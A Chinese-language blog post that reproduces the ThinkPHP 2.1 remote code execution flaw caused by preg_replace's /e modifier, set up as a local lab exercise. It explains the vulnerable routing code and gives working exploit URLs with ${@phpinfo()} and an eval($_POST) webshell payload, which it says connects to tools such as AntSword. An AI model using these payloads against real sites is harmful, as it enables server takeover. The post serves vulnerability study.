Thinkphp代码执行漏洞

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,并且遵循Apache2开源协议发布,是一个快速、兼容而且简单的著名轻量级国产PHP开发框架。很好用,其在保持出色的性能和至简的代码的同时,也注重易用性,拥有众多原创功能和特性,用的人很多。但是易用性和安全性,从来都是一对矛盾,往往不能兼容。信息安全界有个笑话:“实现计算机系统安全很容易,把计算机的电源关掉,锁在保险箱里,然后把钥匙扔掉。”正是因为一个软件系统,web网络,用的人越多,越要求其体验的简单亲和,那么就越有可能遭到攻击,感染病毒的几率也大大加大。好用的thinkphp这个框架就曾经爆出各种RCE和SQL注入漏洞。本代码执行漏洞是其中之一。我们复现采用thinkphp 2.1版本。

存在漏洞的文件在/ThinkPHP/Lib/Think/Util/Dispatcher.class.php:

这段代码的意思是检测路由规则 如果没有则按默认规则调度URL,然后解析剩余的URL参数。

漏洞的原因在于使用了preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

preg_replace这个函数是个替换函数,支持正则,使用方式如下:

preg_replace('正则规则','替换字符','目标字符')

如果此时正则规则中使用了/e这个修饰符,就存在代码执行漏洞。

因为e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行。

来看正则表达式(\w+)\/([^/]+),这个正则的意思是保证具有一个路径符号"\",即每次至少取2个路径参数。而'$var[\'\\1\']="\\2";'是对一个数组做操作,然后第一个参数作为数组的键,第二个参数作为数组的值。参数2采用了双引号,双引号可能会产生之中的代码执行,如${@phpinfo()}。

在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,{}写的是一个已知函数名称,那么这个函数就会被执行。

据说ThinkPHP 2.x版本,都存在此漏洞,如vulhub的docker环境搭建。实际上,经我的测试,网上流行的版本thinkphp 2.1可以直接利用,但到2.2版本,就加了补丁,不见了该漏洞,已经将'$var[\'\\1\']="\\2";'改成了'$var[\'\\1\']='\\2';',不再使用双引号。如果为了学习验证而用此版本,需要更改相应的代码。

ThinkPHP在没有定义路由的情况下典型的URL访问规则是:

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

thinkphp 所有的主入口文件默认访问index控制器(模块)

thinkphp 所有的控制器默认执行index动作(方法)

根据该段代码,数组$var在路径存在模块和动作时,会去除掉前2个值,也就是说,漏洞代码执行处'$var[\'\\1\']="\\2";',需要构造路径两对以上。如构造a/b/c/d,a/b被丢掉,再将payload如${@phpinfo()}放在d处。

作为学习者要注意的是,ThinkPHP是php开放框架,我们下载的文件放在phpstudy下面搭建漏洞网站环境,就要利用ThinkPHP文件的Eaxamples,其中有许多应用案例,我们可以任意使用如Hello,即取serverName=127.0.0.1/ThinkPHP_2.1_full/Examples/Hello,就可以搭建相应环境网站。

所以我们的exp构造如下:

http://127.0.0.1/ThinkPHP_2.1_full/Examples/Hello/index.php?s=a/b/c/payload
http://127.0.0.1/ThinkPHP_2.1_full/Examples/Hello/index.php?s=a/b/c/d/e/payload

如我们取payload为${@phpinfo()}:

 如payload为${@print(eval($_POST[123]))},执行后就在相应路径页面php文件,写下了eval($_POST[123],以蚁剑、菜刀、冰蝎类工具连接,就可以因此拿下网站的webshell。

 

 

 

posted on 2021-01-06 16:30  miraitowa666  阅读(536)  评论(0)    收藏  举报

导航